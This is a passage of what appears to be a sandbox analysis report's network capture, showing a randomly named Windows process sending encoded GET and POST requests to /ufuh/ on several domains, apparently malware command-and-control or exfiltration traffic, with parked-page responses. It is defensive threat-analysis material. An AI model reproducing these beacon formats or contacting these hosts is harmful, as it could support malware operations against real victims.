84O0=S8onh96WtuR/FWabyrfSXtZH82nKI3xjHwA+KNEgelUYIVWVRUyztL9FiQ7iTnwUr/UFklapoYYnKcFQWdKgt/WcBwhU8ZsysOd3XjBE89ZpfnYnPdCOVm1Z+gioZizuC587DWXHghLkG49vAL9MX/B4IdWo0u9s/JPX2GwFkbOk308guhrqMhLUSfCFVEwJO6jVoFJSpeJ7GbsXgKldV8mGDCNnP6ulx7SU94lTGhSiBMODGb3kO0aeq2Q/D3Wgvp74EHf69sCRw3Lh1/4l6YHZOOfyvPXS6xux9VMrQGY5QBFqdO0BVAnBggcItCp2ij/EDi/JZBGp9CcmdTqWuHqZYiuKN4leFLIHFqxkfOmPgLrVOIz601lQVy4bERfLaNGoYMgXJx5VtR95oH+eUYw35K0DD46zbrrYRX5BSCJOnNa58iNukxCJSHWv67GVkkVN8mjhFMRhprX6uVrlv8bEWaZgqEb3cRr/yg4IQUSCrmcUBMp7OVgq5XmSU977vOFKauztEPIoAGhT2OxmrqZPRD08y7XX+sbyErQLRbvnUfaUe4ESfCIeDVmE/HB6dnOCC9DNocdaEt/jUHMtlyf4GzzFySANWDp4bGKM6Gfw5veCfjjWiLeggbGCYhtwSztajF/3wp/OXlvKca7e5D2bo8W219wBzfI2iQTpePln3pD4yII1+k89wvsHbtbTMxY9LLK9tgBNf3gKVgrkvNqpMtQRdX8OoIEpGh/TK4JtEHUTI/PDGns89f6NQdjdB356fyeB7CdQmggopPJ+VbVNvIn+PYmuhEDZXvPGFRW1/v77qQReVXk6WDAflKbEvHRi/QJPdZd+h5zsu9oXqzXnV+p+K3GtRZS4ZBgNDN2nsvjZawiY829VPAJxMwBuqAd9hmRyeXd3KbapJrIqhQqw/qmf+FYRdnm5A+N1IvIVEEDMq1H/DX/o48zxIiZHfyJDS19rjfMWL8n92BsQPKu1bMeb2y4e/07MUTfs7MRsMnh [TRUNCATED]
May 20, 2024 08:55:01.009654045 CEST	1693	OUT	Data Raw: 2b 4f 64 45 55 36 37 76 31 68 79 34 36 71 47 4d 32 70 68 2b 53 53 42 46 2b 36 4f 44 53 6c 55 4c 64 58 31 4d 2b 56 2b 65 77 33 41 48 72 42 31 75 76 77 72 45 66 61 41 63 68 51 33 59 67 34 57 39 75 56 47 32 52 38 74 33 35 6a 4e 61 49 4b 79 45 77 64 Data Ascii: +OdEU67v1hy46qGM2ph+SSBF+6ODSlULdX1M+V+ew3AHrB1uvwrEfaAchQ3Yg4W9uVG2R8t35jNaIKyEwdliZI4tKW1eP3lfWVTa2RUMZTLddD3tIB1UwmmDMfVe1X0+vs94j+SEGwQZLoXfZ7m1M/jiDTWSLQZLXBlZq/G6ygyDsEQIuOTSAnYCLWaolpBQ9dO2k7/rNnQJFsb/BRRGaS+1aqneugHdsL/+X6roOHZfQBQOfvg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49171	54.38.220.85	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:08.747915983 CEST	472	OUT	GET /ufuh/?84O0=f+AHiK2Co9o+PjKa95eLWuYGzAnlJ1JKF0U6Lu5lfhAIXWifWEmzyo1tk2ryUUFbnpUI1yrkhJgLANJ0QoKTotmHPxBrzP8E8/tDVQZOz/lyKkl1Bs+TKl0SxUzf&-Hc=N8_LbDFHuLL4ejZ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.kinkynerdspro.blog User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49172	194.9.94.86	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:13.867309093 CEST	2472	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2161 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.xn--matfrmn-jxa4m.se Origin: http://www.xn--matfrmn-jxa4m.se Referer: http://www.xn--matfrmn-jxa4m.se/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 45 41 4e 63 46 47 39 32 58 46 4e 61 36 68 55 31 66 55 47 32 30 7a 71 78 71 52 4b 78 76 49 64 53 63 66 73 76 68 48 54 49 4f 46 66 77 69 77 67 37 47 6e 4f 59 62 7a 42 6a 50 62 74 73 5a 62 48 61 58 4b 35 4d 76 74 69 6d 67 4f 65 64 43 70 68 79 7a 42 54 5a 6a 5a 68 64 57 63 62 70 6a 64 59 7a 44 56 63 6f 68 72 77 35 6d 5a 37 59 49 58 67 69 67 4b 4c 2b 55 50 6f 37 47 46 37 7a 67 75 52 36 62 44 64 73 59 64 71 65 79 54 38 45 66 6f 73 61 54 68 6a 65 4c 45 38 31 78 46 78 59 4e 79 78 7a 63 79 68 69 7a 5a 77 31 4a 6c 6b 6a 53 32 78 70 49 6e 76 47 68 48 2f 37 55 57 42 2f 63 33 6b 74 39 7a 67 38 2f 6e 71 73 42 75 56 78 63 66 41 35 58 6d 55 6c 71 31 45 61 56 4d 69 6a 47 2b 54 38 55 43 6f 39 71 4a 5a 64 51 30 5a 57 72 71 6f 41 34 73 2f 31 32 4f 59 62 63 73 6d 48 70 4d 4f 4e 5a 37 54 72 5a 52 67 57 65 45 69 37 71 6a 79 48 77 61 43 2b 6e 7a 70 51 47 57 77 6d 6d 51 67 4b 64 4c 6e 45 4e 4e 6b 32 57 44 70 62 35 67 63 59 6c 4a 76 50 75 38 66 36 44 41 31 59 38 36 7a 31 61 37 68 72 57 4b 65 61 71 4b 52 42 2f [TRUNCATED] Data Ascii: 84O0=EANcFG92XFNa6hU1fUG20zqxqRKxvIdScfsvhHTIOFfwiwg7GnOYbzBjPbtsZbHaXK5MvtimgOedCphyzBTZjZhdWcbpjdYzDVcohrw5mZ7YIXgigKL+UPo7GF7zguR6bDdsYdqeyT8EfosaThjeLE81xFxYNyxzcyhizZw1JlkjS2xpInvGhH/7UWB/c3kt9zg8/nqsBuVxcfA5XmUlq1EaVMijG+T8UCo9qJZdQ0ZWrqoA4s/12OYbcsmHpMONZ7TrZRgWeEi7qjyHwaC+nzpQGWwmmQgKdLnENNk2WDpb5gcYlJvPu8f6DA1Y86z1a7hrWKeaqKRB/ggH1ngkjbmnacjHcRIdhoMMJ9UcsuxAkv+1nlgkVq/iIxTlrj7CSiqxS/Tx1Y2guXjKMaun/W6pMiK9Kh5M6vQ3UDSvifYcVffwjKSM5ViWcnzSdhdipgYGyHG0e1TmQnoRqSDmBMiu/AWbPBAUgN4U5jirDKxvvKp9AJabH8khUGfENgciKOOrn0XgjqGuYv6MHbTrGahZkApWLnj/ZP3cYqGWzPhd3a0ZdBgLWq+JqEdiDzF8MiQ7h/WUGEDuL1gbin2R4lZIowjzjLZZ0x7ZpHL3eTF2eA2fH0MDJ8VrzWRsFT1yWRiMPBl6LS3apgWnsMCMQy9FraggbGR22n/CpjX973vD+rP7hIZ9TlCBD65reY8V+PQ3unF5T7qgxDZXCsGrAyrEyiS3ddcEIbSIGsc5OZwRCG4OlMsJQeGF6C6P1MJrO9ki+bsePp1mLBAi5NErumAtiGO9LLltjhsfBkrwCUgRWr0hdf+3hBNQVKjRmNoPPcHClfzZt1XLtQGGubui4sATmXJSoSCn7G5sRRLnALr4PQ51av2S0+OwLzlIfVckj+xIIgTYzcSBYaKP+RBfp5LMeN9kJT89CH7/lnZN1srKOisczcmPebg8P9e8etgq6gjPlQuCkJBK16uT9ZaCGdZ68umA/dNVi3YxpG9qdhh0Twp [TRUNCATED]
May 20, 2024 08:55:13.876796007 CEST	235	OUT	Data Raw: 36 44 4b 79 37 68 7a 4c 46 58 32 32 6b 47 6a 2b 55 36 50 34 54 73 57 4e 50 49 41 62 75 62 73 53 48 53 63 65 71 53 57 52 4d 77 76 55 2b 4e 75 59 2b 44 56 6a 2f 51 57 54 64 64 37 56 42 73 67 36 6b 30 78 2b 7a 74 65 78 69 31 66 4d 71 55 46 53 43 47 Data Ascii: 6DKy7hzLFX22kGj+U6P4TsWNPIAbubsSHSceqSWRMwvU+NuY+DVj/QWTdd7VBsg6k0x+ztexi1fMqUFSCG3aYo97em5Rc5bml1gHB07CQo+MHM6Xbkboah3cdkYXqrtXdXGb/vHuW7wpCPGsGWIsc0dIitiuP7bpeXQUqDxsKjPtO6PAoWRUIBkQNb4JBVEDY5fEQ26StEYEURAmR4OcYKx4E1KcPf1HxzBwK9Cea31
May 20, 2024 08:55:14.517338991 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 20 May 2024 06:55:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.24 Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED] Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
May 20, 2024 08:55:14.519736052 CEST	1236	IN	Data Raw: 65 2f 72 65 73 70 6f 6e 73 69 76 65 2f 69 6d 61 67 65 73 2f 69 4f 53 2d 37 32 2e 70 6e 67 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 Data Ascii: e/responsive/images/iOS-72.png" /> <link rel="apple-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale =
May 20, 2024 08:55:14.519771099 CEST	1236	IN	Data Raw: 74 6d 5f 6d 65 64 69 75 6d 3d 73 69 74 65 6c 69 6e 6b 26 75 74 6d 5f 73 6f 75 72 63 65 3d 6c 6f 6f 70 69 61 5f 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e Data Ascii: tm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=whois">LoopiaWHOIS</a> to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="htt
May 20, 2024 08:55:14.519804955 CEST	1236	IN	Data Raw: 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 46 69 6e 64 20 79 6f 75 72 20 64 65 73 69 72 65 64 20 64 6f 6d 61 69 6e 22 3e 0a 09 09 09 09 09 3c 62 75 74 74 6f 6e 20 69 64 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 63 6c 61 73 73 3d 22 62 74 6e Data Ascii: t" placeholder="Find your desired domain"><button id="search-btn" class="btn btn-search" type="submit"></button></form></div><h3>Get full control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able
May 20, 2024 08:55:14.524478912 CEST	878	IN	Data Raw: 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 73 69 74 65 62 75 69 6c 64 65 72 22 3e 43 72 65 61 74 65 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 77 69 74 68 Data Ascii: rkingweb&utm_campaign=parkingweb&utm_content=sitebuilder">Create your website with Loopia Sitebuilder</a></li></ul></p><a href="https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49173	194.9.94.86	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:16.405143023 CEST	746	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 201 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.xn--matfrmn-jxa4m.se Origin: http://www.xn--matfrmn-jxa4m.se Referer: http://www.xn--matfrmn-jxa4m.se/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 45 41 4e 63 46 47 39 32 58 46 4e 61 36 69 73 31 51 6c 47 32 31 54 71 78 36 42 4b 78 6d 6f 64 55 63 66 67 6e 68 44 72 59 4f 32 50 77 69 42 51 37 47 56 57 59 63 7a 42 6b 41 37 74 77 58 37 47 65 58 4b 34 6e 76 73 4f 6d 67 4f 61 64 43 4c 4a 79 31 44 37 47 37 35 68 66 51 63 62 73 6a 64 63 59 44 56 51 65 68 71 59 35 6d 66 62 59 4c 55 59 69 78 59 6a 2b 65 66 6f 48 41 46 37 6b 67 75 4e 56 62 44 4e 30 59 65 75 65 79 6d 41 45 66 5a 4d 61 52 47 33 65 45 6b 38 30 72 31 77 4a 4d 58 55 65 62 79 4a 75 36 36 67 67 47 6d 4a 4f 51 56 5a 71 4f 6e 54 4f 6a 46 36 57 55 44 77 76 61 55 4a 7a 6e 51 3d 3d Data Ascii: 84O0=EANcFG92XFNa6is1QlG21Tqx6BKxmodUcfgnhDrYO2PwiBQ7GVWYczBkA7twX7GeXK4nvsOmgOadCLJy1D7G75hfQcbsjdcYDVQehqY5mfbYLUYixYj+efoHAF7kguNVbDN0YeueymAEfZMaRG3eEk80r1wJMXUebyJu66ggGmJOQVZqOnTOjF6WUDwvaUJznQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49174	194.9.94.86	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:19.127932072 CEST	2472	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3625 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.xn--matfrmn-jxa4m.se Origin: http://www.xn--matfrmn-jxa4m.se Referer: http://www.xn--matfrmn-jxa4m.se/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 45 41 4e 63 46 47 39 32 58 46 4e 61 37 43 38 31 63 6d 2b 32 69 6a 71 79 6d 78 4b 78 76 49 64 51 63 66 73 6e 68 48 54 49 4f 45 6a 77 69 32 55 37 49 58 4f 59 61 7a 42 6b 47 37 74 73 5a 62 48 62 58 4b 74 63 76 74 2b 59 67 4e 71 64 43 73 4e 79 7a 48 62 5a 69 5a 68 64 62 38 62 76 6a 64 64 63 44 56 41 43 68 71 4e 55 6d 62 33 59 4c 43 6b 69 6d 59 6a 39 43 76 6f 48 41 46 37 53 67 75 4d 45 62 44 55 68 59 66 6d 4f 79 56 6f 45 66 34 73 61 58 68 6a 64 43 6b 38 77 6d 56 78 52 4e 79 30 56 63 79 68 6d 7a 5a 30 66 4a 6b 59 6a 54 6b 4a 70 49 6b 33 5a 6b 58 2f 36 4b 6d 42 2f 53 58 6b 72 39 7a 68 39 2f 6e 71 73 42 76 5a 78 4f 2f 41 35 58 6e 55 69 75 31 45 61 4c 63 69 75 59 4f 50 43 55 43 73 54 71 4a 70 6e 51 44 68 57 71 73 63 41 38 63 2f 31 68 75 59 5a 63 73 6d 77 67 73 4f 6e 5a 2f 2b 63 5a 52 51 47 65 45 69 37 71 6b 79 48 30 4a 36 2b 75 44 70 51 45 57 77 72 73 77 67 4a 64 4c 53 6a 4e 4f 34 32 57 43 78 62 2f 44 6f 59 6a 4c 48 49 36 38 66 6e 56 77 31 61 72 71 7a 67 61 37 38 4d 57 4b 57 67 71 4b 68 42 2f [TRUNCATED] Data Ascii: 84O0=EANcFG92XFNa7C81cm+2ijqymxKxvIdQcfsnhHTIOEjwi2U7IXOYazBkG7tsZbHbXKtcvt+YgNqdCsNyzHbZiZhdb8bvjddcDVAChqNUmb3YLCkimYj9CvoHAF7SguMEbDUhYfmOyVoEf4saXhjdCk8wmVxRNy0VcyhmzZ0fJkYjTkJpIk3ZkX/6KmB/SXkr9zh9/nqsBvZxO/A5XnUiu1EaLciuYOPCUCsTqJpnQDhWqscA8c/1huYZcsmwgsOnZ/+cZRQGeEi7qkyH0J6+uDpQEWwrswgJdLSjNO42WCxb/DoYjLHI68fnVw1arqzga78MWKWgqKhB/mcH3CMkgrmmdcj9XxEJho0iJ9AqstlAk++1kmInN6+rZBTZvj7OSi+PS9bxyp+gvTXKIpGkvm6udyL9dx5m6ssvUCC/hvIcUvfwuJ2P1liTSHyHPhc9pgZ1yDSOfErmQnYRpB7mBMipvQWdBhMmgN8Q5jXuDJpvva59AIabfMkhLGfDHAddKOaRn2Wbj7iuYNiMUJLrRqhXmApbPnjYZLbcYrzJzO5d070ZcggLaK+NgkdtDzENMiUnh+nhGGXuL24bkm2Ri1ZF7gj30bYl0xjJpEfdeW92Mz+fAB4DIcVpxWRsOz1qWVH7PF0YLXTapSunqsCNXy9apagjRmRa2nvCpjb9733D+4X7rbB9MlCDH64vQIAl+PBIumBXT4eg+yZXHaSsYirG3iS5LtcsIbSMGoYXOLoRCUwOpNsKMOGCxi7P4sJhO90c+bpBOeFmLBwi5/sru2AtiGO8LLlpjhhmBgvaCUgRX5chetm3phNVbaj8w9pMPcDklfqyt0vLsFKGubuh8cASq3JVoSOQ7G5CRRHnB5n4NBZ1aJCSkuOwDTlLElclj+wTIkLIzdSBZqqP7TpYmpLRYN8/HzgLCH+ilm9NybLKUQEcysmPBLgzHde1D44u6gvplR+rn9dK1L+T7ayBONZ74umC/dQpi3A5pG0ddih0TQp [TRUNCATED]
May 20, 2024 08:55:19.132879972 CEST	1699	OUT	Data Raw: 36 44 47 79 2f 70 7a 4c 45 6e 32 32 6e 2b 6a 2b 6b 36 49 6c 7a 73 56 56 2f 49 48 51 4f 62 34 53 48 53 69 65 76 69 34 52 4c 49 76 58 74 31 75 51 76 44 56 69 50 51 63 49 4e 63 6e 43 78 77 79 36 6b 34 31 2b 79 63 6c 77 53 56 66 57 38 51 46 58 77 65 Data Ascii: 6DGy/pzLEn22n+j+k6IlzsVV/IHQOb4SHSievi4RLIvXt1uQvDViPQcINcnCxwy6k41+yclwSVfW8QFXwe3Qoo8kum0Rc9/mllSHAkBDhk+N3M6TYMYsahxbdkeXqrJXdPCb+yAuTXwpHTG+mWLrs1WNis/uPn+pef6UrzxsL/P/dSPHoWRWIB9OdaoNBJDDZwcdli5QKYrFm9VpSN7Y725/k4uSralC3XEzetlRfitUqPjdDXb
May 20, 2024 08:55:19.799331903 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 20 May 2024 06:55:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.24 Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED] Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
May 20, 2024 08:55:19.799351931 CEST	224	IN	Data Raw: 65 2f 72 65 73 70 6f 6e 73 69 76 65 2f 69 6d 61 67 65 73 2f 69 4f 53 2d 37 32 2e 70 6e 67 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 Data Ascii: e/responsive/images/iOS-72.png" /> <link rel="apple-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.
May 20, 2024 08:55:19.801779032 CEST	1236	IN	Data Raw: 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 20 3d 20 31 2e 30 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 Data Ascii: 0, maximum-scale = 1.0, width=device-width" /> <link rel="stylesheet" type="text/css" href="https://static.loopia.se/responsive/styles/reset.css" /> <link rel="stylesheet" type="text/css" href="https://static.loopia.se/shared/style/
May 20, 2024 08:55:19.804297924 CEST	1236	IN	Data Raw: 67 69 6e 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 6f 6f 70 69 61 2e 63 6f 6d 2f 6c 6f 67 69 6e 3f 75 74 6d 5f 6d 65 64 69 75 6d 3d 73 69 74 65 6c 69 6e 6b 26 75 74 6d 5f 73 6f 75 72 63 65 3d 6c 6f 6f 70 69 61 Data Ascii: gin to <a href="https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=login">Loopia Customer zone</a> and actualize your plan.</p> <div class="divider"></div>
May 20, 2024 08:55:19.804316998 CEST	448	IN	Data Raw: 53 2c 20 79 6f 75 20 77 69 6c 6c 20 62 65 20 61 62 6c 65 20 74 6f 20 6d 61 6e 61 67 65 20 79 6f 75 72 20 64 6f 6d 61 69 6e 73 20 69 6e 20 6f 6e 65 20 73 69 6e 67 6c 65 20 70 6c 61 63 65 20 69 6e 20 4c 6f 6f 70 69 61 20 43 75 73 74 6f 6d 65 72 20 Data Ascii: S, you will be able to manage your domains in one single place in Loopia Customer zone. <a href="https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=dns">Read more at loopia.co
May 20, 2024 08:55:19.804348946 CEST	1236	IN	Data Raw: 65 74 20 73 74 61 72 74 65 64 20 77 69 74 68 20 79 6f 75 72 20 77 65 62 73 69 74 65 2c 20 65 6d 61 69 6c 2c 20 62 6c 6f 67 20 61 6e 64 20 6f 6e 6c 69 6e 65 20 73 74 6f 72 65 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 0a 09 09 09 3c 75 6c 3e 0a 09 09 09 Data Ascii: et started with your website, email, blog and online store.</p><p><ul><li><a href="https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=wordpress">Create your websi
May 20, 2024 08:55:19.804367065 CEST	206	IN	Data Raw: 6c 6f 6f 70 69 61 2e 63 6f 6d 2f 73 75 70 70 6f 72 74 3f 75 74 6d 5f 6d 65 64 69 75 6d 3d 73 69 74 65 6c 69 6e 6b 26 75 74 6d 5f 73 6f 75 72 63 65 3d 6c 6f 6f 70 69 61 5f 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 Data Ascii: loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb">Contact us</a></p></span></div>... /END #footer --></div>... /END .content --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
